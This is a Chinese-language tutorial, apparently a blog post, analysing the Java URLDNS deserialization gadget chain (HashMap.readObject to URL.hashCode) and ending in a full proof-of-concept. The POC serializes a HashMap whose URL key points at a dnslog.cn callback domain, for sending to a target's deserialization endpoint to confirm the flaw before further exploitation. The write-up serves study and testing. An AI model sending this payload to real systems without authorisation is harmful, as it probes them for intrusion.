目录
- 一、前置知识
- 反射
- 二、分析
- 1. URL
- 2. HashMap
- 3. 解决一些问题
- 反射修改字段值
- 三、POC
- 四、利用链
一、前置知识
菜鸟教程 Java 序列化
Java安全-反射
URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。
反射
下面是两个本文中要用到的反射方法:
反射获取类对象:
Student s = new Student();//方法1Class clazz = s.getClass();//方法2Class clazz2 = Student.class;
反射修改私有成员变量:
Field name = clazz.getDeclaredField("name");name.setAccessible(true);name.set(s,"zzy");
二、分析1. URL
URL.class关键代码
public final class URL implements java.io.Serializable { private int hashCode = -1; public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }}
首先看,URL类
中有个hashCode方法,他会调用URLStreamHandler类
的hashCode方法,URLStreamHandler
的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。
addresses = nameService.lookupAllHostAddr(host);
总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。
写一下代码来看看能不能实现DNS请求
package com.learn;import java.net.MalformedURLException;import java.net.URL;public class Blog { public static void main(String[] args) throws MalformedURLException { URL url = new URL("https://test.wc5uoi.dnslog.cn"); url.hashCode(); }}
可以看到成功发起了DNS请求
我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法
URL类中的readObject方法
URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧
2. HashMap
可以看到HashMap有一个hash方法调用了hashCode方法
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了
在readObject中key
是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()
方法来读取一个对象,并将其强制转换为K
类型,即键的类型。
所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。
试着写一下代码
package com.learn;import java.io.*;import java.net.URL;import java.util.HashMap;public class Blog { public static void main(String[] args) throws IOException, ClassNotFoundException { URL url = new URL("https://test.9oeary.dnslog.cn"); HashMap hashMap = new HashMap(); hashMap.put(url, "123"); serial(hashMap); unserial(); } public static void serial(Object obj) throws IOException { //Serialize ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOut.writeObject(obj); objectOut.close(); } public static void unserial() throws IOException, ClassNotFoundException { //UnSerialize ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin")); Object result = objIn.readObject(); System.out.println(result.toString()); objIn.close(); }}
成功完成DNS请求
虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求
这是为什么呢?
3. 解决一些问题
通过调试看到,HashMap在put的时候就会调用hash方法
所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?
继续跟进程序,这是URL的hashCode方法:
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode;}
可以看到如果hashCode变量不是-1
的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求
继续跟进,发现hashCode在定义时的初始值就是-1
private int hashCode = -1;
反射修改字段值
由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值
Field hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url, 1);
由于这里把hashCode改为1
了,在put后还需要把它改回-1
,让程序在反序列化还会发起dns请求
//将hashCode改为 1Field hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url, 1);hashMap.put(url, "123");//将hashCode改回 -1hashCodeField.set(url, -1);
三、POC
package com.learn;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Blog { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URL url = new URL("https://test.0x044e.dnslog.cn"); HashMap hashMap = new HashMap(); //将hashCode改为 1 Field hashCodeField = URL.class.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url, 1); hashMap.put(url, "随便输入点东西"); //将hashCode改回 -1 hashCodeField.set(url, -1); serial(hashMap); unserial(); } public static void serial(Object obj) throws IOException { //Serialize ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOut.writeObject(obj); objectOut.close(); } public static void unserial() throws IOException, ClassNotFoundException { //UnSerialize ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin")); Object result = objIn.readObject(); System.out.println(result.toString()); objIn.close(); }}
到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试
四、利用链
HashMap.readObject() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()